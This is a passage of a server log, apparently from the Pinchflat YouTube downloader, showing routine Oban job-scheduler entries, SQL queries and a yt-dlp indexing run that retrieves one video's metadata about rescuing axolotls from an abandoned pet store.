07:45:00.020 [info] {"source":"oban","duration":406,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 07:45:29.129 [info] {"source":"oban","duration":2522,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:45:59.131 [info] {"source":"oban","duration":2211,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:46:00.022 [info] {"source":"oban","duration":564,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 07:46:29.134 [info] {"source":"oban","duration":1623,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:46:59.137 [info] {"source":"oban","duration":1783,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:47:00.024 [info] {"source":"oban","duration":619,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 07:47:29.140 [info] {"source":"oban","duration":1521,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:47:59.143 [info] {"source":"oban","duration":1709,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:48:00.026 [info] {"source":"oban","duration":406,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 07:48:29.146 [info] {"source":"oban","duration":1651,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:48:59.149 [info] {"source":"oban","duration":2059,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:49:00.027 [info] {"source":"oban","duration":420,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 07:49:29.152 [info] {"source":"oban","duration":1968,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:49:59.154 [info] {"source":"oban","duration":1021,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:50:00.028 [info] {"source":"oban","duration":570,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 07:50:29.157 [info] {"source":"oban","duration":1685,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:50:59.160 [info] {"source":"oban","duration":2177,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:51:00.029 [info] {"source":"oban","duration":576,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 07:51:29.163 [info] {"source":"oban","duration":1716,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:51:59.165 [info] {"source":"oban","duration":548,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:52:00.030 [info] {"source":"oban","duration":590,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 07:52:29.167 [info] {"source":"oban","duration":1577,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:52:59.170 [info] {"source":"oban","duration":2084,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:53:00.031 [info] {"source":"oban","duration":404,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 07:53:29.173 [info] {"source":"oban","duration":1714,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:53:59.176 [info] {"source":"oban","duration":2210,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:54:00.033 [info] {"source":"oban","duration":647,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 07:54:29.178 [info] {"source":"oban","duration":679,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:54:59.180 [info] {"source":"oban","duration":1693,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:55:00.035 [info] {"source":"oban","duration":629,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 07:55:29.183 [info] {"source":"oban","duration":1896,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:55:59.186 [info] {"source":"oban","duration":1981,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:56:00.036 [info] {"source":"oban","duration":395,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 07:56:29.189 [info] {"source":"oban","duration":1602,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:56:59.191 [info] {"source":"oban","duration":1884,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:57:00.037 [info] {"source":"oban","duration":299,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 07:57:29.194 [info] {"source":"oban","duration":2073,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:57:59.197 [info] {"source":"oban","duration":1658,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:58:00.039 [info] {"source":"oban","duration":390,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 07:58:29.200 [info] {"source":"oban","duration":1728,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:58:59.203 [info] {"source":"oban","duration":1635,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:59:00.041 [info] {"source":"oban","duration":402,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 07:59:29.206 [info] {"source":"oban","duration":1617,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:59:59.209 [info] {"source":"oban","duration":1745,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:00:00.042 [info] {"source":"oban","duration":393,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 08:00:29.212 [info] {"source":"oban","duration":1638,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:00:59.215 [info] {"source":"oban","duration":1729,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:01:00.044 [info] {"source":"oban","duration":613,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 08:01:29.218 [info] {"source":"oban","duration":2146,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:01:59.220 [info] {"source":"oban","duration":656,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:02:00.046 [info] {"source":"oban","duration":575,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 08:02:29.222 [info] {"source":"oban","duration":1630,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:02:59.225 [info] {"source":"oban","duration":2035,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:03:00.047 [info] {"source":"oban","duration":308,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 08:03:29.228 [info] {"source":"oban","duration":1757,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:03:59.231 [info] {"source":"oban","duration":1879,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:04:00.049 [info] {"source":"oban","duration":702,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 08:04:29.234 [info] {"source":"oban","duration":1509,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:04:59.236 [info] {"source":"oban","duration":2277,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:05:00.051 [info] {"source":"oban","duration":470,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 08:05:29.239 [info] {"source":"oban","duration":1568,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:05:59.243 [info] {"source":"oban","duration":2433,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":1} 08:06:00.053 [info] {"source":"oban","duration":646,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 08:06:29.246 [info] {"source":"oban","duration":1628,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:06:59.249 [info] {"source":"oban","duration":1745,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:07:00.055 [info] {"source":"oban","duration":610,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 08:07:29.252 [info] {"source":"oban","duration":1982,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:07:59.255 [info] {"source":"oban","duration":1715,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:08:00.057 [info] {"source":"oban","duration":386,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 08:08:29.258 [info] {"source":"oban","duration":1783,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:08:59.261 [info] {"source":"oban","duration":1672,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:09:00.059 [info] {"source":"oban","duration":618,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 08:09:29.264 [info] {"source":"oban","duration":2294,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:09:59.267 [info] {"source":"oban","duration":1696,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:10:00.061 [info] {"source":"oban","duration":641,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 08:10:29.270 [info] {"source":"oban","duration":1544,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:10:59.273 [info] {"source":"oban","duration":2082,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:11:00.063 [info] {"source":"oban","duration":484,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 08:11:29.276 [info] {"source":"oban","duration":1570,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:11:59.279 [info] {"source":"oban","duration":2005,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:12:00.063 [info] {"source":"oban","duration":270,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 08:12:29.282 [info] {"source":"oban","duration":1527,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:12:59.285 [info] {"source":"oban","duration":2038,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:13:00.065 [info] {"source":"oban","duration":646,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 08:13:29.288 [info] {"source":"oban","duration":1554,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:13:59.291 [info] {"source":"oban","duration":2194,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:14:00.067 [info] {"source":"oban","duration":617,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 08:14:29.294 [info] {"source":"oban","duration":1722,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:14:59.297 [info] {"source":"oban","duration":1553,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:15:00.069 [info] {"source":"oban","duration":432,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 08:15:29.300 [info] {"source":"oban","duration":1502,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:15:59.302 [info] {"source":"oban","duration":2065,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:16:00.069 [info] {"source":"oban","duration":401,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 08:16:29.305 [info] {"source":"oban","duration":2077,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:16:59.308 [info] {"source":"oban","duration":2108,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:17:00.071 [info] {"source":"oban","duration":578,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 08:17:29.312 [info] {"source":"oban","duration":2537,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":1} 08:17:59.314 [info] {"source":"oban","duration":2264,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:18:00.073 [info] {"source":"oban","duration":594,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 08:18:29.317 [info] {"source":"oban","duration":2030,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:18:59.320 [info] {"source":"oban","duration":2007,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:19:00.075 [info] {"source":"oban","duration":636,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 08:19:29.323 [info] {"source":"oban","duration":2119,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:19:59.326 [info] {"source":"oban","duration":2202,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:20:00.077 [info] {"source":"oban","duration":411,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 08:20:29.329 [info] {"source":"oban","duration":1582,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:20:59.332 [info] {"source":"oban","duration":1745,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:21:00.078 [info] {"source":"oban","duration":563,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 08:21:29.335 [info] {"source":"oban","duration":1705,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:21:59.338 [info] {"source":"oban","duration":1851,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:22:00.079 [info] {"source":"oban","duration":582,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 08:22:29.340 [info] {"source":"oban","duration":649,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:22:59.342 [info] {"source":"oban","duration":1893,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:23:00.081 [info] {"source":"oban","duration":510,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 08:23:29.345 [info] {"source":"oban","duration":1717,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:23:59.348 [info] {"source":"oban","duration":1803,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:24:00.083 [info] {"source":"oban","duration":647,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 08:24:29.351 [info] {"source":"oban","duration":1757,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:24:59.355 [info] {"source":"oban","duration":2416,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:25:00.085 [info] {"source":"oban","duration":391,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 08:25:29.356 [info] {"source":"oban","duration":802,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:25:59.359 [info] {"source":"oban","duration":1939,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:26:00.086 [info] {"source":"oban","duration":404,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 08:26:29.362 [info] {"source":"oban","duration":1979,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:26:59.365 [info] {"source":"oban","duration":2368,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:27:00.088 [info] {"source":"oban","duration":606,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 08:27:29.368 [info] {"source":"oban","duration":1736,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:27:59.371 [info] {"source":"oban","duration":1763,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:28:00.089 [info] {"source":"oban","duration":389,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 08:28:29.374 [info] {"source":"oban","duration":1474,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:28:59.376 [info] {"source":"oban","duration":1795,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:29:00.091 [info] {"source":"oban","duration":475,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 08:29:29.379 [info] {"source":"oban","duration":2053,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:29:47.733 [info] {"args":{"id":33},"id":7258,"meta":{},"system_time":1780489787733240767,"max_attempts":20,"queue":"media_collection_indexing","worker":"Pinchflat.SlowIndexing.MediaCollectionIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","media_collection_indexing","show_in_dashboard"]} 08:29:47.733 [debug] QUERY OK source="sources" db=0.2ms idle=1045.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [33] 08:29:47.734 [debug] QUERY OK source="settings" db=0.1ms idle=1045.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 08:29:47.735 [debug] QUERY OK source="media_items" db=1.3ms idle=1010.1ms SELECT count(*) FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [33] 08:29:47.736 [debug] QUERY OK source="media_items" db=0.2ms idle=9.3ms SELECT count(*) FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) [33] 08:29:47.736 [debug] QUERY OK source="media_profiles" db=0.1ms idle=3.3ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 08:29:47.737 [debug] QUERY OK source="settings" db=0.1ms idle=3.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 08:29:47.737 [debug] QUERY OK source="settings" db=0.1ms idle=3.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 08:29:47.740 [debug] QUERY OK source="media_items" db=1.6ms idle=2.4ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."source_id" = ?) ORDER BY m0."uploaded_at" DESC LIMIT 50 OFFSET 20 [33] 08:29:47.741 [debug] Running yt-dlp command for action: get_media_attributes_for_collection 08:29:47.741 [debug] Current batch of media processed. Will check again in 1000ms 08:29:47.742 [debug] QUERY OK source="settings" db=0.2ms idle=5.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 08:29:47.742 [debug] QUERY OK source="settings" db=0.3ms idle=5.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 08:29:47.742 [debug] QUERY OK source="settings" db=0.1ms idle=5.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 08:29:47.743 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/@BassFishingProductions --simulate --skip-download --ignore-no-formats-error --no-warnings --output /downloads/shows/Bass fishing Productions/Season %(upload_date>%Y)S/s%(upload_date>%Y)Se%(upload_date>%m%d)S00 - %(title)S.%(ext)S --remux-video mp4 --format-sort res:1440,+codec:avc:m4a --format bestvideo*+bestaudio/best --break-on-existing --download-archive /tmp/pinchflat/data/b8/7a/b87aec048477c6534df1a7a74c78754b3ae71d6f8049ee3e41eed0e620c56229.txt --print-to-file %(.{id,title,live_status,original_url,description,aspect_ratio,duration,upload_date,timestamp,playlist_index,filename})j /tmp/pinchflat/data/9f/53/9f533d2ad972e5f82d4f116c1a0f0b30c3202f8612a2693f8f5469c6d7f19b98.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 08:29:48.742 [debug] Current batch of media processed. Will check again in 1000ms 08:29:49.743 [debug] Current batch of media processed. Will check again in 1000ms 08:29:50.744 [debug] Current batch of media processed. Will check again in 1000ms 08:29:51.745 [debug] Current batch of media processed. Will check again in 1000ms 08:29:52.746 [debug] Current batch of media processed. Will check again in 1000ms 08:29:53.747 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "In today’s video, I find an abandoned axolotl pet store that is still filled with the rarest and most expensive axolotls in the world, Including a mosaic axolotl that costs $10,000! And well since no one is taking care of them, my mission is to save as many as possible! So I started my search and immediately I came across a bunch of tiny fish tanks that were filled with shrimp, pufferfish, frogs, and a bunch of baby axolotls! But these were just normal ones, as we explore the rest of the abandoned pet store the axolotls are gonna get rarer and rarer! I kept going and next I found a bunch of albino axolotls, as well as a melanistic, a golden, and a copper! However as I took my next scoop I pulled up the most expensive animal so far, a fly river turtle! These turtles cost over $800, but believe it or not that’s not even the most expensive animal in this pet store! After that I continued exploring and I managed to find a white crawfish, a gulper catfish, and even a freshwater pufferfish! Now up until this point we have saved tons of axolotls, but as I kept going I discovered more species I’ve never even heard of! Including a bluegill axolotl, a golden copper, and even a deformed axolotl that only had gills on the left side of his head! After that I made my way over to the other side of the pet store where they kept some of their craziest animals, and I managed to find snapping turtles, and a bunch of monster fish including a retail catfish, and a ripsaw catfish! I then discovered an aquarium filled with murky green water, and inside was the rarest axolotls so far, including a firefly, and one that glows in the dark! After that I made a shocking discovery, it was an aquarium that was filled with $5,000 worth of baby mosaic axolotls! This means that they are breeding in here, but we still need to find the big one, so I kept going and next was a big pond full of the biggest axolotls so far! I managed to catch a big albino, a melanistic, and a big golden! But there was still no sign of the $10,000 mosaic axolotl, so I started netting around in the final tank, when suddenly I pulled up the mosaic axolotl! In total we saved hundreds of axolotls, including the rarest ones in the entire world! Comment below if I should do a part 2 where I build all of them their dream home!\n—\nCheck out the new merch! https://bassfishingproductions.shop\n—\nBusiness email: bassfishingproductions@night.co\n—\n2nd channel: https://youtube.com/@BassFishingProductionsVlogs?si=I6Kc5jFKyUa2Wf5t\n—\nInstagram: https://www.instagram.com/bassfishingproductions/\n—\nTikTok: https://www.tiktok.com/@bassfishingproductions?enter_from=pc&source=h5_m", "duration" => 1986, "filename" => "/downloads/shows/Bass fishing Productions/Season 2026/s2026e050300 - I Found an Abandoned Axolotl Pet Store....mkv", "id" => "5kj__m_07rI", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=5kj__m_07rI", "playlist_index" => 1, "timestamp" => 1777809608, "title" => "I Found an Abandoned Axolotl Pet Store...", "upload_date" => "20260503"} 08:29:53.748 [debug] QUERY OK source="sources" db=0.2ms queue=0.1ms idle=58.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [33] 08:29:53.748 [debug] QUERY OK source="sources" db=0.1ms idle=59.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [33] 08:29:53.749 [debug] QUERY OK source="media_items" db=0.4ms idle=59.4ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-05-03 12:00:08Z], 33] 08:29:53.751 [debug] QUERY OK source="media_items" db=1.6ms idle=60.2ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","prevent_download","original_url","source_id","subtitle_filepaths","duration_seconds","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "original_url" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["In today’s video, I find an abandoned axolotl pet store that is still filled with the rarest and most expensive axolotls in the world, Including a mosaic axolotl that costs $10,000! And well since no one is taking care of them, my mission is to save as many as possible! So I started my search and immediately I came across a bunch of tiny fish tanks that were filled with shrimp, pufferfish, frogs, and a bunch of baby axolotls! But these were just normal ones, as we explore the rest of the abandoned pet store the axolotls are gonna get rarer and rarer! I kept going and next I found a bunch of albino axolotls, as well as a melanistic, a golden, and a copper! However as I took my next scoop I pulled up the most expensive animal so far, a fly river turtle! These turtles cost over $800, but believe it or not that’s not even the most expensive animal in this pet store! After that I continued exploring and I managed to find a white crawfish, a gulper catfish, and even a freshwater pufferfish! Now up until this point we have saved tons of axolotls, but as I kept going I discovered more species I’ve never even heard of! Including a bluegill axolotl, a golden copper, and even a deformed axolotl that only had gills on the left side of his head! After that I made my way over to the other side of the pet store where they kept some 